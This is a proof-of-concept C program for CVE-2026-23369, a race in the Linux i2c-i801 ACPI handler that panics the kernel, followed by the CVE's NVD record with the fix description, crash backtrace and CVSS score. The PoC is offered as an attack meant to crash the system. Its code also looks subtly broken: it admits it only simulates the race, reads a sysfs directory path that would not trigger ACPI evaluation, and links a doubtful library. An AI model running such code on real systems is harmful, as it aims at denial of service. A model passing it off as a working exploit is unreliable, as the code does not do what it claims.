CVE-2026-23369

/* * PoC for CVE-2026-23369 * This code attempts to simulate the race condition in i801_acpi_io_handler. * It requires the system to have the vulnerable i2c-i801 driver loaded. * Compile with: gcc -o poc_cve2026_23369 poc_cve2026_23369.c -lacpi */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/types.h> // Simulating the heavy ACPI evaluation concurrency void* trigger_thread(void* arg) { char path[256]; snprintf(path, sizeof(path), "/sys/bus/i2c/devices/i801"); // In a real scenario, this interacts with udev triggers causing ACPI calls // Here we simulate the loop that stresses the handler for(int i = 0; i < 1000; i++) { int fd = open(path, O_RDONLY); if(fd >= 0) { char buf[1024]; read(fd, buf, sizeof(buf)); // Trigger evaluation close(fd); } } return NULL; } int main() { printf("Starting PoC for CVE-2026-23369 (Race Condition in i2c-i801)\n"); pthread_t t1, t2; // Create two threads to simulate udev race pthread_create(&t1, NULL, trigger_thread, NULL); pthread_create(&t2, NULL, trigger_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC execution finished. Check kernel logs for crashes.\n"); return 0; }

{"cve": {"id": "CVE-2026-23369", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:36.347", "lastModified": "2026-04-24T16:38:18.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: i801: Revert \"i2c: i801: replace acpi_lock with I2C bus lock\"\n\nThis reverts commit f707d6b9e7c18f669adfdb443906d46cfbaaa0c1.\n\nUnder rare circumstances, multiple udev threads can collect i801 device\ninfo on boot and walk i801_acpi_io_handler somewhat concurrently. The\nfirst will note the area is reserved by acpi to prevent further touches.\nThis ultimately causes the area to be deregistered. The second will\nenter i801_acpi_io_handler after the area is unregistered but before a\ncheck can be made that the area is unregistered. i2c_lock_bus relies on\nthe now unregistered area containing lock_ops to lock the bus. The end\nresult is a kernel panic on boot with the following backtrace;\n\n[ 14.971872] ioatdma 0000:09:00.2: enabling device (0100 -> 0102)\n[ 14.971873] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[ 14.971880] #PF: supervisor read access in kernel mode\n[ 14.971884] #PF: error_code(0x0000) - not-present page\n[ 14.971887] PGD 0 P4D 0\n[ 14.971894] Oops: 0000 [#1] PREEMPT SMP PTI\n[ 14.971900] CPU: 5 PID: 956 Comm: systemd-udevd Not tainted 5.14.0-611.5.1.el9_7.x86_64 #1\n[ 14.971905] Hardware name: XXXXXXXXXXXXXXXXXXXXXXX BIOS 1.20.10.SV91 01/30/2023\n[ 14.971908] RIP: 0010:i801_acpi_io_handler+0x2d/0xb0 [i2c_i801]\n[ 14.971929] Code: 00 00 49 8b 40 20 41 57 41 56 4d 8b b8 30 04 00 00 49 89 ce 41 55 41 89 d5 41 54 49 89 f4 be 02 00 00 00 55 4c 89 c5 53 89 fb <48> 8b 00 4c 89 c7 e8 18 61 54 e9 80 bd 80 04 00 00 00 75 09 4c 3b\n[ 14.971933] RSP: 0018:ffffbaa841483838 EFLAGS: 00010282\n[ 14.971938] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff9685e01ba568\n[ 14.971941] RDX: 0000000000000008 RSI: 0000000000000002 RDI: 0000000000000000\n[ 14.971944] RBP: ffff9685ca22f028 R08: ffff9685ca22f028 R09: ffff9685ca22f028\n[ 14.971948] R10: 000000000000000b R11: 0000000000000580 R12: 0000000000000580\n[ 14.971951] R13: 0000000000000008 R14: ffff9685e01ba568 R15: ffff9685c222f000\n[ 14.971954] FS: 00007f8287c0ab40(0000) GS:ffff96a47f940000(0000) knlGS:0000000000000000\n[ 14.971959] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 14.971963] CR2: 0000000000000000 CR3: 0000000168090001 CR4: 00000000003706f0\n[ 14.971966] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 14.971968] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 14.971972] Call Trace:\n[ 14.971977] <TASK>\n[ 14.971981] ? show_trace_log_lvl+0x1c4/0x2df\n[ 14.971994] ? show_trace_log_lvl+0x1c4/0x2df\n[ 14.972003] ? acpi_ev_address_space_dispatch+0x16e/0x3c0\n[ 14.972014] ? __die_body.cold+0x8/0xd\n[ 14.972021] ? page_fault_oops+0x132/0x170\n[ 14.972028] ? exc_page_fault+0x61/0x150\n[ 14.972036] ? asm_exc_page_fault+0x22/0x30\n[ 14.972045] ? i801_acpi_io_handler+0x2d/0xb0 [i2c_i801]\n[ 14.972061] acpi_ev_address_space_dispatch+0x16e/0x3c0\n[ 14.972069] ? __pfx_i801_acpi_io_handler+0x10/0x10 [i2c_i801]\n[ 14.972085] acpi_ex_access_region+0x5b/0xd0\n[ 14.972093] acpi_ex_field_datum_io+0x73/0x2e0\n[ 14.972100] acpi_ex_read_data_from_field+0x8e/0x230\n[ 14.972106] acpi_ex_resolve_node_to_value+0x23d/0x310\n[ 14.972114] acpi_ds_evaluate_name_path+0xad/0x110\n[ 14.972121] acpi_ds_exec_end_op+0x321/0x510\n[ 14.972127] acpi_ps_parse_loop+0xf7/0x680\n[ 14.972136] acpi_ps_parse_aml+0x17a/0x3d0\n[ 14.972143] acpi_ps_execute_method+0x137/0x270\n[ 14.972150] acpi_ns_evaluate+0x1f4/0x2e0\n[ 14.972158] acpi_evaluate_object+0x134/0x2f0\n[ 14.972164] acpi_evaluate_integer+0x50/0xe0\n[ 14.972173] ? vsnprintf+0x24b/0x570\n[ 14.972181] acpi_ac_get_state.part.0+0x23/0x70\n[ 14.972189] get_ac_property+0x4e/0x60\n[ 14.972195] power_supply_show_property+0x90/0x1f0\n[ 14.972205] add_prop_uevent+0x29/0x90\n[ 14.972213] power_supply_uevent+0x109/0x1d0\n[ 14.972222] dev_uevent+0x10e/0x2f0\n[ 14.972228] uevent_show+0x8e/0x100\n[ 14.972236] dev_attr_show+0x19\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false ... (truncated)